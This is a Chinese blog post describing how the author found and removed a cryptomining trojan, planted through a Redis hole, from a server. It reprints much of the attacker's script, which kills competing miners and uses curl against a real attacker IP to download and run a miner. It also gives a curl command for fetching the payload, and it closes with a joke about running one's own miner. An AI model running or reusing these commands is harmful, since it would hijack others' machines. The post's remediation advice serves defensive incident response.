記一次服務器被植入挖礦木馬cpu飆升200%解決過程

線上服務器用的是某訊雲的,歡快的完美運行着Tomcat,MySQL,MongoDB,ActiveMQ等程序。突然一則噩耗從前線傳來:網站不能訪問了。

此項目是我負責,我以150+的手速立即打開了服務器,看到Tomcat掛了,然後順其自然的重啓,啓動過程中直接被killed,再試試數據庫,同樣沒成功,多次嘗試甚至重啓機器無果。機制的我打了個top,出現以下內容:

這是誰運行的程序?不管三七二十一先殺掉再說,因爲它就是Tomcat等程序啓動不了的元兇。然而並沒有什麼卵用,過一會再看那個東西又跑出來佔cpu。懷疑是個定時任務:

什麼鬼,是個圖片?立即訪問了一下:

好尷尬,但是心思細膩的我早知道沒這麼簡單,肯定只是僞裝,crul過去是下面的腳本,過程就是在挖礦:

#!/bin/sh
pkill -9 142.4.124.164
pkill -9 192.99.56.117
pkill -9 jva
pkill -f ./atd
pkill -f /tmp/wa/httpd.conf
pkill -f 108.61.186.224
pkill -f 128.199.86.57
pkill -f 67.231.243.10
pkill -f 142.4.124.164
pkill -f 192.99.56.117
pkill -f 45.76.102.45
pkill -f AnXqV.yam
pkill -f BI5zj
pkill -f Carbon
pkill -f Duck.sh
pkill -f Guard.sh
...中間省略
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
ps -fe|grep -w suppoie |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig1
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
sleep 3
fi
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig2
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
echo "runing....."

有興趣的同學想查看以上完整源代碼,命令行運行下面指令(不分操作系統,方便安全無污染):

curl 192.99.142.235:8220/logo3.jpg

既然知道它是個定時任務,那就先取消了它,並且看看它是誰在運行:

殺掉,找到存放目錄:

進入臨時目錄:

被我發現配置文件了,先來看看內容:

虎軀一震,發現了不少信息啊,user是他的server的登錄用戶,下面是密碼,只可惜加密過,應該找不到對方。算了,大度的我先不和你計較。幹掉這兩個文件後再查看top:

解決辦法

找到寄生的目錄,一般都會在tmp裏,我這個是在/var/tmp/。首先把crontab幹掉,殺掉進程,再刪除產生的文件。啓動Tomcat等程序,大功告成!

 

等等,這遠遠不夠,考慮到能被拿去挖礦的前提下你的服務器都已經被黑客入侵了,修復漏洞纔對,不然你殺掉進程刪掉文件後,黑客後門進來history一敲,都知道你做了啥修復手段。

所以上面辦法治標不治本,我後續做了以下工作:

1.把所有軟件升級到新版本,修復 redis 的後門,配置bind選項, 限定可以連接Redis服務器的IP,並修改redis的默認端口6379。配置AUTH, 設置密碼,密碼會以明文方式保存在redis配置文件中。

2.修改所有軟件默認端口號

3.打開ssh/authorized_keys, 刪除不認識的密鑰

4.刪除用戶列表中陌生的帳號

5.封了他的ip

6.SSH使用密鑰登錄並禁止口令登錄(這個一般是加運維一個人的祕鑰)

 

木馬原因,是redis漏洞導致:

http://blog.jobbole.com/94518/

最好的方式:將主機鏡像,找出病毒木馬,分析入侵原因。檢查業務程序,重裝系統,修復漏洞,再重新部署系統。

 

 

寫在最後,網友提供的一勞永逸終極解決辦法:

把你自己的挖礦腳本掛上去運行,這樣別人就算掛腳本也跑不起來了。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章